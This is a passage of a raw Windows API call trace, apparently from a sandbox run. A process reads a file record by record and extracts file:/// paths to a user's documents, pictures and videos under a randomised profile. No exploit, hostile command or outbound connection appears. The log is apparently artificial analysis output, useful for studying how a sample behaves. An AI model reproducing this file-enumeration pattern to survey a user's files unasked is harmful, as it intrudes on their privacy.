[0079.432] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.432] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d00
[0079.433] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.435] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/RtHnmpt4.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv"
[0079.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 49
[0079.435] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00
[0079.435] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.435] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.435] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00
[0079.435] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.436] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/KxNVh5qb%20V.xlsx" | out: _Str="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx"
[0079.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 54
[0079.436] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f00
[0079.436] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.436] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.437] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f00
[0079.437] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.437] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/pZdszBVbaQD.pps" | out: _Str="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps"
[0079.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 54
[0079.437] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000
[0079.437] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.437] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.437] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa000
[0079.437] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.437] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/IoNYe%20N-Y0yof.rtf" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf"
[0079.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 64
[0079.438] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa100
[0079.438] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.438] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.438] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa100
[0079.438] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.438] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/6Fyo-5qA.pps" | out: _Str="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps"
[0079.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 51
[0079.438] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200
[0079.438] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.438] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.438] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200
[0079.438] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.438] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EhtqO4KI.png" | out: _Str="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png"
[0079.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned 50
[0079.438] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa300
[0079.439] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.439] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.439] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa300
[0079.439] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.439] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/eB2hHNLry-lIc.csv" | out: _Str="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv"
[0079.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 56
[0079.439] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400
[0079.439] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.439] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.439] SetFilePointer (in: hFile=0x9c, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400
[0079.439] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.439] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/E5Q5miM%20%20Jr.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx"
[0079.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 69
[0079.439] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa500
[0079.439] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.440] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa500
[0079.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.440] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/I6q4ouXY.swf" | out: _Str="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf"
[0079.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 49
[0079.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600
[0079.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.440] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600
[0079.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.440] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/Genq52XzyTG.swf" | out: _Str="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned="file:///c:/users/atveydl98z/videos/genq52xzytg.swf"
[0079.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned 51
[0079.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa700
[0079.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.440] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=42752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa700
[0079.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.441] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4plH_a-Eec.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc"
[0079.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 53
[0079.441] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800
[0079.441] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.441] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.441] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800
[0079.441] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.441] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/87gn.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png"
[0079.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 77
[0079.441] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa900
[0079.441] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.441] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.441] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa900
[0079.441] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.442] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/gm5jtE.png" | out: _Str="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned="file:///c:/users/atveydl98z/pictures/gm5jte.png"
[0079.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned 48
[0079.442] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00
[0079.442] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.442] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.442] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00
[0079.442] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.442] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4xSp.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4xsp.doc") returned="file:///c:/users/atveydl98z/documents/4xsp.doc"
[0079.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 47
[0079.442] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xab00
[0079.442] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.442] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.442] SetFilePointer (in: hFile=0x9c, lDistanceToMove=43776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xab00
[0079.442] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.443] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/3iSzPtsfkc.pps" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps"
[0079.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 63
[0079.443] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00
[0079.443] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.443] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.443] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00
[0079.443] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.443] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/dgbvEW5txB_Of.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx"
[0079.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 57
[0079.443] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xad00
[0079.443] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.443] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.443] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xad00
[0079.443] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.443] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/8--HuyYjVZb64.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf"
[0079.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned 66
[0079.444] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00
[0079.444] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.444] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.444] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00
[0079.444] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.444] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/QBJ9KmKRnRitnjjCZM.png" | out: _Str="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png"
[0079.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned 60
[0079.444] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf00
[0079.444] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.444] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.444] SetFilePointer (in: hFile=0x9c, lDistanceToMove=44800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf00
[0079.444] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
